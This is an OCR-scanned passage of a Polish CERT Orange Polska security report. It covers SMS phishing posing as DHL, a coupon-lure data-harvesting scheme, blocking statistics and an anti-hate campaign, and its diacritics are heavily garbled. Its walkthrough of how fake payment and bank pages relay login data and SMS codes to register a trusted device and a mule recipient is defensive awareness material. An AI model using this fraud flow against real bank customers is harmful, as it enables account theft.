w ktorych z najwiekszym prawdopodobieristwem wysytane
byly SMS-y phishingowe. Momenty te wyznaczone zostaty
na podstawie danych statystycznych, wiec szacowanie to
obarczone jest pewnym btedem. Dolny wykres prezentuje
narastajgco liczbe unikalnych klientéw, ktorzy trafili

na CyberTarcze, probujac odwiedzi¢ strone dhl-paczka.eu.
Za 100% przyjmujemy ogét klientow, ktorzy prébowali
wejsé na te strone w ciggu 7 dni od rozpoczecia ataku.

Co mozemy wyczytaé z tych danych?

m  SMS-y wysytane byty w godzinach wieczornych - to
typowa pora dla kampanii tego typu. Zmeczenie
po catym dniu, odprezenie, zaangazowanie w zajecia
domowe zmniejszajg czujnos¢ potencjalnych ofiar.

m Istnieje spora grupa klientow, ktdra data sie ztapac
na wiadomos$¢ wystang przez przestepcédw. Phishing
byt trudny do wytapania dla osoby, ktéra nie styszata
wczesniej o tego typu zagrozeniach.

m  Duza grupa klientéw prébowata wejs¢ na strone

w czasie 1-2 minut od prawdopodobnego momentu
otrzymania SMS-a. Po tym czasie liczba odwiedzin
zaczynata spadac.

m  80% prob wejscia na strone miato miejsce do 15 minut
po prawdopodobnym momencie otrzymania SMS-a.
Tylko 10% oséb probowato otworzy¢ strone przestepcow
kolejnego dnia.

m  Odbiorcy btyskawicznie reaguja na SMS-y, nie dajac
sobie czasu na zastanowienie. To na pewno zmniejsza
szanse na unikniecie kfopotow.

Przebieg czasowy ataku

CyberTarcza Orange: dhl-paczka.eu
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Co stato sie u tych uzytkownikéw, ktérzy nie byli chronieni
przez CyberTarcze?

Klienci chwile po otrzymaniu SMS-a klikaja w zawarty

w nim link. W przegladarce w telefonie otwiera im sie
fatszywa strona posrednika ptatnosci widoczna na rysunku
»Strona podszywajaca sie pod PayU”. (prezentowane
zdjecia pochodzg wprawdzie z innej kampanii, ale
mechanizm dziatania jest identyczny). Wyglada ona niemal
doktadnie tak samo jak prawdziwa strona ptatnosci.

Dzieki wystawionemu certyfikatowi SSL posiada nawet
zielong ktédke. Jedynym, co na pierwszy rzut oka odroznia
ja od oryginatu, jest adres, ktéry w niczym nie przypomina
prawdziwego.

Strona podszywajaca sie pod PayU

|ﬁ httgs:/’;‘zaleglnsc—24.eu;’|

ING )

Gdy uzytkownik wybierze ikone banku, w ktérym posiada
konto, wys$wietlony zostanie odpowiadajacy mu fatszywy
panel logowania. Tak jak poprzednio — strona do ztudzenia
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przypomina oryginat i na pierwszy rzut oka rézni sie

tylko adresem — ponizsze rysunki. Klient wprowadza

login i hasto, ktére przestepcy automatycznie wykorzystujg
do zalogowania sie ze swojego urzgdzenia na konto
klienta w prawdziwym banku.

Strona podszywajaca sie pod mBank

r hitps://zaleglosc-24.eu

Zaptac mTransferem Informacje o transakcjl

Placiszw:  PAYU SPOLKA AKCYJNA
ULGRUNWALDZKA 182
60-166 POZNAN POLSKA
Kwota:  0,50PLN
‘ Placisz za: T w533 2240

Identyfikator

Hasto

Zaloguj sie

Strona podszywajaca sie pod iPKO.

B hitps:)//zaleglosc-24.eu

<« c @ ©[8_nttps/zaleglosc 2ol = i e LA A= pid=1PUGLD TR+

iPKO -ipko/login.php

Zaloguj sie i zapta¢ z iPKO Dane transakgji:
‘20star Kientem PKO Banku Polskiego Placisz w: Placisz za:
et Tea T
Nummer kienta lub login ? i oy g
0,50 PLN

Po wejsciu w zycie dyrektywy PSD2 (jesien 2019 r.),
bezposrednio po zalogowaniu uwierzytelniane jest
urzadzenie uzytkownika. W tym celu bank wysyta
klientowi SMS z kodem potwierdzajacym. Kod ten nalezy
wpisac na stronie banku. Przestepcy wystawiajg wiec
klientowi fatszywa strone do wpisania kodu, a gdy ten
to zrobi, przepisujg go na prawdziwej stronie banku.
Przy okazji zaznaczajg opcje dodania urzadzenia

do zaufanych. Dzieki temu w przysztosci nie beda
potrzebowali wytudza¢ kodu SMS do zalogowania
sie do banku w imieniu klienta.

Nastepnie klientowi prezentowany jest formularz

do potwierdzenia drobnej ptatnosci, pod pretekstem,
ktorej zostat zwabiony na strone przestepcow.

Gdy klient przejdzie dalej, przestepcy wysytaja

do banku zgdanie dodania odbiorcy zaufanego

z numerem rachunku zarejestrowanego na tzw. stupa.
W celu potwierdzenia zlecenia, bank wysyta klientowi
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kolejny SMS z kodem. Przestepcy wystawiajg strone
do wpisania kodu. Klient, myslac ze potwierdza
ptatnosé, przepisuje go. Kod ten wysytany jest przez
oszustéw do banku i tym samym dodanie odbiorcy
zaufanego konczy sie sukcesem. Dla uspienia czujnosci
klientowi wyswietlana jest strona z potwierdzeniem
dokonania ptatnosci.

Od tego momentu przestepcy dysponuja danymi
logowania klienta. Ich urzadzenie dodane jest do urzadzen
zaufanych. Majg tez ustanowionego odbiorce zaufanego

z numerem kontrolowanego przez siebie konta.

Teraz wystarczy zalogowac sie na konto klienta i wykonaé
przelew. Kody SMS nie sg wymagane, ani przy logowaniu
z urzadzenia dodanego uprzednio do zaufanych,

ani do wykonywania przelewu do odbiorcy zaufanego.
Konto klienta zostaje wyczyszczone ze wszystkich
znajdujacych sie na nim srodkow.

Schemat dziatania fatszywej strony ptatnosci

(na zielono - zadania, na pomarannczowo - prawdziwe
odpowiedzi, na fioletowo - fatszywe odpowiedzi,
,»,0Z” - odbiorca zaufany)

KLIENT PRZESTEPCA

€«— SMS PHISHINGOWY

KLIKNIECIE W LINK 3

STRONA POSREDNIKA

——  WYBOR BANKU

| < STRONA LOGOWANIA
—— DANE LOGOWANIA

—

—— WYWOLANIE BANKU

DANE LOGOWANIA 3

<«— ZADANIE KODU SMS

—
«— ZADANIE KODU SMS
— KOD SMs
——KOD Z SMS + CHECKBOX
DODANIA URZADZENIA —>
«— PANEL PLATNOSCI —
——  AKCEPTACJA
T ZLECENIE DODANIA 02"

DI

[<€— ZADANIE KODU SMS
KOD Z SMS

<«— ZADANIE KODU SMS

KOD Z SMS 3

¢ POTWIERDZENIE ———<€— I
PLATNOSCI DODANIA ,,0Z

l«— STRONA LOGOWANIA

SMSZKODEM — |

|« — PULPIT ]

. —
SMS Z KODEM

POTWIERDZENIE —

Sprzymierzency oszustow

Popularnos¢ phishingu SMS spowodowana jest
m.in. wysoka skutecznoscig, na ktéra wptywaja czynniki
techniczne, socjotechniczne i psychologiczne.

Balast historyczny

W latach 70. i 80. XX wieku, gdy powstawaty

protokoty, na ktérych opiera sie ustuga SMS, nie
przyktadano tak duzej wagi — jak obecnie — do probleméw
bezpieczenstwa. Zwigzane byto to m.in. z wzajemnym
zaufaniem, jakim cieszyli sie uzytkownicy sieci.
Opracowane wtedy standardy nie przewidywaty wiec
m.in. sprawdzania nadawcy. Zawarto$¢ pola ,Sender”
ustalana jest przez nadawce i przenoszona przez sie¢

bez weryfikacji. Gdyby$my dzi§ chcieli wymieni¢ protokoty
na bezpieczniejsze, zmiany odcietyby od ustugi
wiekszos¢ starych urzadzen, a nawet uniemozliwityby
wymiane wiadomosci z klientami tych operatoréw

(np. zagranicznych), ktérzy by takich zmian nie

wdrozyli. Problem braku weryfikacji nadawcy

moze pozostac z ustugg SMS az do jej konca

w obecnej formie.

Watkowanie wiadomosci

Dla wygody uzytkownika telefony grupuja SMS-y od tego
samego nadawcy w jedng konwersacje. Jesli oszust
podszyje sie pod nadawce, z ktérym klient juz
korespondowat, wiadomos$¢ zostanie dotaczona jako
kolejna w rozmowie. Zachowanie to podnosi wiarygodnos$¢
SMS-a phishingowego w oczach potencjalnej ofiary.

Rozmiary ekranu

Ekrany telefonéw majg niewielkie rozmiary, co utrudnia
dostrzezenie szczegdtow. Czesto stosowang metoda
jest uzywanie w adresie strony wygladajacych podobnie
znakéw. Na ekranie telefonu ,www.0Orange.pl” (pisane
przez cyfre 0 i wielkie ,i” na koncu) wyglada prawie

jak ,www.Orange.pl”.

Upowszechnienie si¢ darmowych

certyfikatow SSL

Dzieki darmowym, automatycznie wystawianym
certyfikatom SSL (czesto oferowanym w ramach
hostingu) oszusci z fatwoscia moga zapewni¢ na swojej
stronie obecnos¢ ,,zielonej ktddki” i uwiarygodni¢ strone
w oczach mniej $wiadomego klienta.

Poczucie strachu

Komunikaty oszustow majg wywota¢ u odbiorcéw
poczucie, ze w przypadku braku reakcji poniosa oni
strate: zostang odcieci od telefonu, bedg musieli
ptaci¢ wysoki abonament albo odwiedzi ich komornik.
Towarzyszace temu emocje ograniczajg zdolno$é

do racjonalnej oceny sytuacji.

Presja czasu

Znaczna cze$¢ osbdb reaguje niezwtocznie na
powiadomienie o otrzymanej wiadomosci SMS,
odrywajac sie od aktualnych zaje¢. Dodatkowo tre$é
samej wiadomosci czesto sugeruje, ze decyzja musi

by¢ podjeta bardzo szybko. Przestepcy wykorzystuja
element zaskoczenia, co podnosi skutecznos¢ ataku.

Szum informacyjny

Metoda polega na ,podpinaniu” sie pod informacje
krazace w mediach lub bedace na czasie (jak

w przypadku ztosliwej aplikaciji kurierskiej albo
potwierdzania rozliczenia PIT).

Podsumowanie

Kampanie oszustéw stajg sie coraz bardziej dopra-
cowane, przez co trudno sie przed nimi obroni¢ w 100%.
Na pewno pomoze nam w tym ogolna ostroznos¢, brak
pospiechu, uwazne czytanie wiadomosci, upewnianie sie,
czy swoje dane wprowadzamy na wiasciwej stronie oraz
sprawdzanie jakg doktadnie transakcje akurat
potwierdzamy w banku. Klientéw Orange chroni takze
CyberTarcza, ktéra w samym tylko 2019 roku zablokowata
potgczenia ze stronami oszustéw az 11,5 miliona razy.

Michat Lopacki
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Sprzedajemy prywatnosc¢
za miraz wygranej
(case study)

Zastanawialiscie sie kiedys, skad telemarketerzy réznych
dziwnych firm dysponuja Waszymi danymi? Dlaczego
dzwonig na prywatne numery telefondw, wysytajg maile
z niepotrzebnymi informacjami, a pytani o to, skad maja
Wasze dane, wymieniajg nazwe istniejgcej firmy? Moze
dlatego, ze kiedys$ potasiliScie sie na darmowe ,,Bony

do [tu wstaw nazwe sklepu]”...

Co wpadto do Sieci, zostaje na zawsze

Coraz czesciej styszymy ostrzezenia o tym, by nie
przekazywac informacji o nas na lewo i prawo, ze w sieci hic
nie ginie, ze niemal kazdy bit danych moze by¢ wykorzystany
wbrew naszej woli. Internauci stajg sie coraz bardziej
$wiadomi, co nie zmienia faktu, ze te dane, ktére juz znalazty
sie w sieci, niestety tam zostana. Kt6z z nas nigdy nie wpisat
swojego adresu e-mail na jakiej$ dziwnej stronie? A potem
to juz tylko rola jednego z niezliczonych crawlerdw,
przeszukujacych sie¢ pod katem takich wtasnie znalezisk.
Coz, skoro sami zostawili§my, to kto zabroni automatom
znajdowac... Polecam zapytanie kazdego dzwonigcego

do Was telemarketera i nadawcy niezamawianego
marketingowego maila, skad wzieli dane. My nasz adres
cert.opl@orange.com rozsiewamy po sieci z premedytacja,
wiasnie po to, by stuzyt tez jako honeypot. Wtasnie dlatego
trafita do nas wiadomos$¢ e-mail, w ktérej kupony do sieci
Rossmann zaproponowano... naszemu CERT-owi.

Fragment maila phishingowego podszywajacego
sie pod sie¢ Rossmann

DROGI KLIENCIE !

P o w Polsce. Przyznany bon v
W Polsce. i w D v} swo) adres e-mal

Do witryny z kuponami przekierowywato w pewnym
momencie nawet kilkadziesigt domen, zawierajgcych

rézne konfiguracje stowa Rossmann (z literbwkami) oraz
ankieta/ankiety/ankietki, itp. Co ciekawe, przez krotki czas
po rejestracji, domeny odsytaty na strony o agresywnej tresci
seksualnej, by po publikacji pierwszej wersji tego artykutu
przez CERT Orange Polska przetacza¢ uzytkownika na
gtéwne witryny firm hostujacych. Obecnie domeny bioragce
udziat w opisywanej kampanii nie sg powigzane z zadna
strong, wiekszo$¢ ich zachowuije jednak status aktywnych.
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Niemal wszystkie witryny rejestrowane byty w jednym miejscu,
przy uzyciu danych istniejgcych firm. Wiascicielem jednej z nich
miat by¢ znany m.in. z filméw Wojciecha Smarzowskiego,
aktor Arkadiusz Jakubik. Tak wtasnie wyglada klasyczny
przykiad kradziezy tozsamosci, czego nie zdotata zweryfiko-
wac firma, rejestrujgca domeny. W korespondenciji mailowej
aktor stanowczo bowiem zaprzeczyt, by rejestrowat domene
rossmaann-ankietaa.eu.

Wygratem kupon? Czy tylko mam szanse?

Witryng docelowa byta hxxps://rossm.gift-cards.co.pl/

(w momencie przygotowywania artykutu juz nieaktywna w sieci).
W momencie pisania tego artykutu tego typu aktywnosé
znajdowali$my tez na hxxps://www.bon-kosmetyczny.com.pl/,
hxxps://twojebony.com.pl (i pewnie jeszcze kilku/wielu
innych, na ktére nie trafilismy). Zadna z witryn nie zawierata

w momencie badania ztosliwego kodu, a to dlatego, ze nie
infekcja malwarem jest celem ich autora. Ot6z po wybraniu
naszej ptci i wieku, kwalifikowaliSmy sie juz do nagrody,

a ostatnim etapem przed jej uzyskaniem jest wpisanie
naszego imienia i adresu e-mail. Oczywiscie w tresci nie

ma mowy o zwyciestwie, a jedynie o tym, ze... mamy szanse
wygrac kupon.

Co bardziej ciekawscy, przyjrzawszy sie doktadnie tresci
witryny, znajdowali na dole bardzo ciekawe informacje:

m tym, ze firma Rossmann nie sponsoruje ani nie jest
w zaden sposob powigzana z serwisem;

B administratorze danych, ktérym ma by¢ firma
M-Line sp. z 0.0., niepowigzana z firmg Rossmann,
z adresem, numerem KRS i wszystkimi oficjalnymi
danymi.

No i na koniec, jesli komus chciato sie kliknaé we wszystkie
»wiecej”, rozsiane szeroko po catym dole witryny, musi
odklika¢ osiem (!) zgdd marketingowych na przetwarzanie

i udostepnianie swoich danych oraz ich automatyczne
profilowanie, no i oczywiscie na otrzymywanie informaciji
marketingowych. A wszystko to okraszone w prawym gornym
rogu, zgodnie z najlepszymi zasadami manipulacji (reguta
niedostepnosci Cialdiniego) wielkim zegarem, odmierzajgcym
czas, po ktérym stracimy nasza wyjatkowa okazje! Okazje,
ktora po przeczytaniu regulaminu okazuje sie by¢ nagroda
dla osoby, ktora... najszybciej wypetni pola formularza.

Firma kusi, my oddajemy

Publikujac pierwsza wersje tego tekstu na stronie

CERT Orange Polska chcieli§my catg historie opisa¢

jako tradycyjne ostrzezenie przed spamowg kampanig
przestepcow. Po doktadnym przyjrzeniu sie tresci strony
wida¢ jednak, ze nie mamy tu do czynienia z phishingiem
per se. Nikt nie wytudza naszych danych, nie kaze sie
nigdzie logowac, nie podsuwa nam witryn, podszywajgcych
sie pod operatorow mobilnych ptatnosci. Choé tu réwniez
mamy do czynienia z dziatalno$cig wymagajaca réwnie
wielkiego sprytu i tupetu, fakt, iz za iluzoryczna obietnice
wygranej oddajemy nie majgce wcale mniejszej

wartosci (!) — adres e-mail, imie i nazwisko, adres
zamieszkania, date urodzenia, pte¢, numer telefonu

komérkowego, domene wejscia do serwisu, adres IP,
z ktérego wchodzimy na strone. To dane, ktdre

dla wielu firm moga okazac sie bardzo wartosciowe.

| zapewne fakt, ze to wszystko dzieje sie niejako

w tle, sprawia, ze w zasadzie nie zauwazamy naszej

niefrasobliwosci.

Tu nikt nie probuje niczego ukrywac. Organizator ,loterii”
naprawde istnieje. W$rdd kilkudziesieciu kodéw PKD,
dotyczacych jej dziatalnosci, znajdziemy sporg liczbe
zwigzanych z budownictwem, ale tez z turystyka, ochrona,
detektywistyka, telekomunikacjg, ubezpieczeniami,
funduszami emerytalnymi, sprzataniem, PR, HR

i — tu najbardziej nas interesujgca — posrednictwem

w sprzedazy miejsca na cele reklamowe. Brzmi jak
ogdlnoswiatowa korporacja, z siedzibg w szklanym
biurowcu, a nie — jak wykazuje szybka kwerenda

w mapach Google - w domku jednorodzinnym w matej
miejscowosci pod Wroctawiem. Kolejne wyszukiwanie
pomaga znalez¢ szereg opinii petnych oburzenia,

iz nieznana firma dysponuje ich danymi osobowymi.

Regulaminy, do ktérych prowadza pojedyncze, opisane
drobnym drukiem linki, szczegétowo precyzuja jakie

dane przekazujemy operatorowi ustugi, a takze informuja
nas o dobrowolnosci oraz udzieleniu zgody na ich
przetwarzanie i przekazywanie do listy kilkunastu
podmiotéw ,,zewnetrznych”. W$rdd nich znajdziemy
zaréwno duze ogdlnopolskie firmy, jak i szereg matych,
ktére mozna okresli¢ mianem hurtowni danych.

O ile w przypadku rynkowych tuzéw mozna zatozy¢,

iz M-Line jest dla nich jednym z szeregu anonimowych
podwykonawcdw, od ktorych kupuija ,leady” sprzedazowe,
w przypadku mniejszych w anonimowos$¢ ciezko
uwierzyé. Czes$¢ z podmiotéw, wymienianych w regulaminie,
nalezy do - hmm, ,holdingu”, grupy medialnej
opisujacego siebie jako ,wiasciciela jednej z najwiekszych
baz danych na polskim rynku”.

Trzej przyjaciele z...?

Analizujgc kampanie ,na kupony” znajdujemy w niej jedno
powtarzajace sie nazwisko. To osoba stojaca zaréwno

za spotkg M-Line (wg. informacji w KRS), jak i przynajmniej
za jednym z beneficjentéw podobnej kampanii z 2018 roku,
spotka zarejestrowang w Wielkiej Brytanii. Jedyng
mozliwoscig kontaktu z M-line jest widniejgcy na stronie
www formularz, ten jednak wystanie informacji warunkuje
zaznaczeniem checkboxow ze zgoda na otrzymywanie
informacji marketingowych! Z jednej strony niewiarygodny
tupet, ale z drugiej nie sposéb odmowic rzutkiemu
biznesmenowi konsekwencji w dziataniu, prawda?

Te samag osobe znajdujemy tez w danych w KRS
dotyczacych spotki Neobiznes sp. z 0.0. Do 5 listopada
byt jej wytacznym wiascicielem, sprzedajac jg nastepnie
firmie Neocraft. Nowy wiasciciel zmienit nazwe firmy

na B2B Leadon, powierzajac jej prowadzenie cztonkom
wiasnego zarzadu. Z Neocraftem zwigzane jest jeszcze
kilka innych spotek, bedacych réwniez — wedtug zapiséw
przytaczanego regulaminu — beneficjentami konkursu

o kupony Rossmanna... Trzech pandw tgczg jeszcze

przynajmniej dwie kwestie — miasto (Wroctaw)
i rok urodzenia (1983). Czyzby przetozona na biznes
przyjazn z czaséw szkolnych albo studenckich?

Blokujemy, co mozemy,
a o reszcie ostrzegamy

Zapytana o tego typu ,konkursy” Agata Nowakowska,
rzeczniczka prasowa Rossmann Polska, poprzestata
na stanowczym podkresleniu, iz opisywane aktywnosci
dziejg sie bez zgody i $wiadomosci firmy Rossmann.
Firma nie udzielata nikomu zgdd na uzywanie nazwy

i logo, a organizowane przez nig akcje promocyjne
prezentowane sg wytacznie w sklepach, gazetkach
promocyjnych, magazynie ,,Skarb” oraz na stronie
internetowej firmy, w aplikacji mobilnej, a takze na
profilach w mediach spotecznosciowych. Na pewno
nie sg wysytane droga e-mailowa.

O ile strony prowadzgce do ,konkursow” (ktére nie bez
przyczyny od poczatku bierzemy w cudzystéw) mozemy
blokowac przy uzyciu CyberTarczy, co regularnie robimy,

z witrynami koAcowymi internauci muszg radzi¢ sobie sami.
Wedtug regulaminu serwiséw bony przeciez faktycznie
istniejg, a tre$¢ na stronach sformutowana jest tak
przemysinie, ze nigdzie nie znajdziemy gwarancji bonu

za samo wypetnienie ankiety. By¢ moze w regulaminach
datoby sie znalez¢ klauzule niedozwolone (choéby to,

ze do przeczytania regulaminu musimy wej$¢ na strone,

a juz wchodzac na nig, udostepniamy tworcom szereg
danych, o czym jeszcze wtedy nie wiemy), ale to zadanie
dla prawnikéw. Z punktu widzenia CERT-u mamy

do czynienia z legalnie zarejestrowana firma, dziatajaca
zgodnie ze swoim profilem przedsiebiorcy i przypisanymi
do siebie kodami PKD. Naszym celem w takiej sytuaciji jest
przede wszystkim uswiadomienie internautéw, nie tylko
klientow ustug Orange Polska, co tracg, wchodzac na tego
typu strony. | zada¢ sobie samemu pytanie, jak czujg sie
firmy, ktére w ten sposéb pozyskujg dane marketingowe

i jak to sie ma do szeroko pojetej etyki.

Na koniec ciekawostka. Wspominatem na poczatku

o dziatajgcych w momencie powstawania tego tekstu
stron z ,konkursami”. Gdy przyjrzymy sie wpisom Whois
dla obu z nich, o ile formalnym wtascicielem obu jest
firma M-Line, to podany numer telefonu nie ma

z podwroctawska firma nic wspdlnego. Kolejne wyszukanie
w Google wskazuje, ze jego wiascicielem jest osoba
prywatna, prezes... Zarzgdu Ochotniczej Strazy Pozarnej
w jednej z miejscowosci na potudniu Polski.
Poinformowany przez nas wyrazit gtebokie zdziwienie,

by po chwili rozmowy poprosi¢ o szczegotowe informacie,
zapowiadajgc podjecie krokéw prawnych.

Trzymamy Kciuki.

Michat Rosiak
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CyberTarcza: niewidoczna, ale skuteczna

Od kilku lat w polskim internecie mamy CyberTarcze.
Dodanie do sieci Orange Polska nowej funkcjonalnosci

w aspekcie bezpieczenstwa (a po czesci ujecie w normy
wielu naszych codziennych aktywnosci) poczatkowo
wzbudzato nieco kontrowersji. Wpisujac w wyszukiwarkach
»CyberTarcza”, w pierwszych podpowiedziach widzielismy
pytania ,Jak usungc¢?”. W ciggu 30 miesiecy od jej wprowa-
dzenia zmienito sie sporo, CyberTarcza wrosta na state

w realia polskiego internetu.

A jak wygladata jej aktywnos$¢ w ubiegtym roku,
w odniesieniu do 2018 r.?

Kluczowa statystyka CyberTarczy jest liczba unikalnych
adresow IP, w odniesieniu do ktérych odnotowalismy préby
potaczenia z rozpoznang ztosliwa infrastruktura.

Te statystyke analizujemy w cyklach tygodniowych,
teoretycznie wiec co bardziej ,oporni” uzytkownicy w skali
roku moga odnotowacé sie w niej nawet 52-krotnie. Rok

do roku odnotowali$my tu minimalng zmiane, rejestrujac

2 min 680 tys. przypadkdw, tacznie dla ustug stacjo-
narnych i mobilnych.

Powyzsza liczba (i fakt, iz praktycznie nie ulegta zmianie

w stosunku do 2018 roku) moze intrygowaé w odniesieniu
do poziomu zainfekowania obu sieci. Ten wspotczynnik (mie-
rzony na czesci sieci stacjonarnej i mobilnej) w poréwnaniu

Liczba unikalnych klientéw ochronionych

Dobowy rozktad liczby klientéw, u ktérych zadziatata CyberTarcza (dane za okres 01.07.2019-31.12.2019).
Wiekszos$¢ incydentéw zwigzanych z phishingiem ma miejsce w godzinach wieczornych

7 13 14 15 17 18 19 20 21 22

do 2018 roku ulegt bowiem istotnym zmianom.

Dla klientéw stacjonarnych w 2018 wynosit 2,04%,

by rok pdézniej spas¢ do 1,47%. Jesli chodzi o infekcje
mobilne natomiast, zanotowali$my niemal dwukrotny

wzrost — z 0,077% do 0,14%. To oczywisty dowdd zardwno
na znaczacy wzrost zainteresowania przestepcow
uzytkownikami urzadzen mobilnych. Dowodzg temu

tez statystyki konkretnych infekcji i dane jako$ciowe,
wskazujgce istotny skok w liczbie kampanii phishingowych,
docierajgcych na nasze smartfony. A jak to odniesé

do podobnej liczby infekcji? Czyzby miato to dowodzié,

ze z roku na roku méwimy o podobnej grupie zainfekowanych
uzytkownikoéw, z niewielkimi zmianami?

Spektakularnie wygladaja za to liczby zwigzane

z zagrozeniami phishingowymi. W 2019 roku zanotowa-
lismy niemal 11,5 min préb odwotan do zablokowanych,
potwierdzonych stron phishingowych. W tej kategorii
jednak, mimo zalewu stron w profilu ,sensacyjne newsy”,
w 2020 r. nalezy spodziewac sie istotnego spadku.

To dlatego, iz w 4. kwartale szczegétowo przeanalizowaliSmy
blokowane witryny i zdecydowali$my sie usunaé

czesc¢ z nich, nie niosgcych bezposredniego ryzyka

dla internautéw. Podsumowanie roku robi jednak
imponujgce wrazenie. Dodaliémy 10855 phishingowych
witryn przy 817 usunietych, co oznacza przeszto

10 tys. netto zablokowanych potencjalnych zagrozen.

23 24

przed zagrozeniami §§ 30 zablokowanych przez CyberTarcze domen z najwieksza liczba odwiedzajacych klientow
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Natezenie skanowania sieci Orange w podziale na zrdodta (dane za okres 01.07.20119-31.12.2019). Oprocz Liczba klientow, u ktorych zostaly zablokowane proby wejscia na strony phishingowe w podziale
tradycyjnych kierunkdw, takich jak Chiny i Rosja, obserwowana jest znaczaca liczba skanéw z infrastruktury na najpopularniejsze kategorie. Dane za okres 01.01.2019-31.12.2019
chmurowej zlokalizowanej m.in. w Stanach Zjednoczonych
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Natezenie skanowania sieci Orange w podziale na zrodtowy BGP AS (dane za okres
01.07.20119-31.12.2019). Wiekszo$¢ skandw przeprowadzana jest z wykorzystaniem infrastruktury
publicznej
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#jestnaswiecej — kampania Fundacji Orange

przeciwko hejtowi.

Co zrobié, by internet byt nie tylko bezpiecznym,
ale takze przyjaznym miejscem?

Kiedy w Fundaciji Orange zastanawialiSmy sie, jaki
wazny problem spoteczny nalezy poruszy¢ w kampanii
spotecznej, z pomoca przyszty nam badania EU Kids
online. Przeprowadzit je zesp6t pod kierunkiem prof.
Jacka Pyzalskiego (UAM w Poznaniu) w partnerstwie
z nami. Okazato sie, ze zaledwie 5,9% mtodziezy
potwierdza, ze ma za sobg aktywny hejt. Wiekszo$¢
internautéw pozostaje neutralna lub nie chce mowy
nienawisci w sieci. Uznaliémy to za ciekawy punkt
wyjscia: przeciez lektura komentarzy na pierwszym
lepszym portalu czy grupie na Facebooku kaze sadzi¢,
ze te proporcje sg zupetnie inne.

Tak powstato hasto kampanii: #jestnaswiecej. Wiecej
jest nas - tych, ktérzy chca pozytywnych kontaktéw

w sieci i sg sympatyczni. Moze zbyt rzadko zabierajg gtos,
lub widzac hejt po prostu zamykajg zaktadke przegladarki.
Do tego dodalismy symbol kampanii: pomaranczowg

sznuréwke. Chcieli$my, by jeden odrdzniajacy sie
but stat sie symbolem sprzeciwu wobec hejtu oraz
solidarnosci z jego ofiarami.

Start kampanii

Start kampanii poprzedziliSmy sonda z pytaniem

»Czy popierasz hejt w sieci” — 95% internautéw klikneto
»hie”, zgodnie z naszymi przewidywaniami. Doktadnie

w pierwszy dzien wiosny 2019 r., kiedy zimowe buty sg juz
schowane, uruchomiliSmy kampanie. Zainaugurowali jg

w sieci Tomson i Baron, znani z zespotu Afromental oraz

z Voice of Poland. Poniewaz kampania jest skierowana

do mtodziezy w wieku 13-19 lat, skupili§my sie na mediach
spotecznosciowych i influencerach. Specjalny odcinek
nagrali tez Nieprzygotowani: Nowe Pokolenie — popularny
wsrod miodziezy serial na YouTube — (1,2mIn subskrypcji).

Jak radzi¢ sobie z hejtem?

Uruchomiliémy strone jestnaswiecej.pl, ktéra zawiera
porady o tym, jak sobie radzi¢ z hejtem — przeznaczone

zarowno dla ofiar, Swiadkdw, jak i tych, ktérzy sami

majg na swoim koncie nienawistne komentarze. Gtéwna
czesc¢ jest skierowana do mtodziezy, ale przygotowalismy
tez krétki poradnik dla rodzicow i nauczycieli. Tresci

na stronie zostaty starannie przygotowane we wspotpracy
z ekspertami z Fundacji Dajemy Dzieciom Site, ktéra

jest partnerem kampanii. To organizacja o najwiekszym
w Polsce doswiadczeniu w tym obszarze: od 12 lat
prowadzi m.in. telefon zaufania dla dzieci i mtodziezy

116 111. Organizuje tez wiele programoéw przeciwdzia-
fania ztym zjawiskom w sieci.

Nauczyciele i szkoty

W programach edukacyjnych Fundacji Orange staramy sie
odpowiadac na realne potrzeby, proponujgc systemowe,
a nie jednostkowe rozwigzania. Nieoceniong warto$¢ ma
wspotpraca ze szkotami i nauczycielami, dlatego zapra-
szamy ich do wspétpracy. Na stronie fundacja.orange.pl
publikujemy scenariusz zaje¢ dotyczacych hejtu
przygotowany przez ekspertéw. Zachecamy nauczycieli
do korzystania z niego oraz do zamowienia bezptatnego
pakietu sznuréwek. Kazda szkota, Swietlica, placéwka
opiekuncza, druzyna harcerska czy dowolna grupa
mtodziezy moze otrzymac taki pakiet pod warunkiem
odbycia zaje¢. Niemalejgca popularnosé pakietow, ktére
od startu kampanii sg regularnie zamawiane, pokazuje jak
potrzebne sag takie dziatania. Nasze oczekiwania przerosta
tez skala aktywnosci mtodziezy w sieci: na Instagramie
mamy obecnie ponad 1000 postéw oznaczonych
#jestnaswiecej, wrzucanych czesto po lekcjach.

To wszystko dobrowolna dziatalno$¢ mtodziezy.

Festiwale i eventy

O ile promocja akcji w szkotach Swietnie dziatata

na wiosne, o tyle w czasie wakacji najlepiej sprawdzaty
sie masowe imprezy sponsorowane przez Orange
Polska: Orange Warsaw Festival, Open’er Festival
powered by Orange i Krakow Live Festival. Na kazdym
z nich wolontariusze opowiadali o akcji i rozdawali
sznuroéwki, a strefa Orange byta miejscem, w ktérym
mozna byto poznac idee akcji i wples¢ sznuréwke w swoj
but. ByliSmy tez na Digital Youth Forum - inspiracyjnym
spotkaniu dla mtodziezy, gdzie ogtosili§my konkurs

na najbardziej kreatywne zdjecie z #jestnaswiecej

na Instagramie. Efekty — zobaczcie sami!

Efekty

Najwazniejsze sa te efekty, ktére pozostaja niepoliczone
— czyli kazda osoba, ktéra zmieni swoje nastawienie do
hejtu, wstawi sie za kims$ stabszym w sieci czy wytaczy
przegladarke zamiast odpowiadac pieknym za nadobne.
Mamy jednak tez liczby, ktére moéwig o skali akcji.

® 170 000 rozdysponowanych sznuréwek
(do momentu oddania tekstu)

m 1200 zamowionych pakietéw sznuréwek

m 1000+ publikacji medialnych o #jestnaswiecej
w 2019

B 1000+ postéw na Instagramie oznaczonych
przez mtodziez #jestnaswiecej

Ciag dalszy

Mamy $wiadomos¢, ze nawet najlepsza jednorazowa
kampania nie rozwigze trwale problemu zwigzanego

z relacjami w sieci. W chwili pisania tego tekstu juz 1200
grup skorzystato z zaje¢ o hejcie i dostato od nas

pakiety sznuréwek. To duzo, ale to tylko cze$¢ mozliwosci.
Przygotowujemy kolejne odstony #jestnaswiecej.

Mamy nadzieje, ze pomaranczowa sznuréwka bedzie
hitem mody mfodziezowej w 2020 roku!
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Artykuty ekspertow CERT Orange Polska

Bezpieczenstwo sieci
bezprzewodowych
w przestrzeni publicznej

Poczatki wardrivingu siegajg czaséw nowego mille-
nium, jednak z uwagi na dynamiczny rozwéj technologii
bezprzewodowego dostepu do internetu, temat ten
caty czas pozostaje wartki mimo, ze samo jezdzenie

po miescie w poszukiwaniu otwartych lub stabo
zabezpieczonych access pointéw odchodzi do lamusa.

Publiczne sieci Wi-Fi sg obecnie bardzo popularnym
rozwigzaniem. Mozemy korzysta¢ z nich w wiekszosci
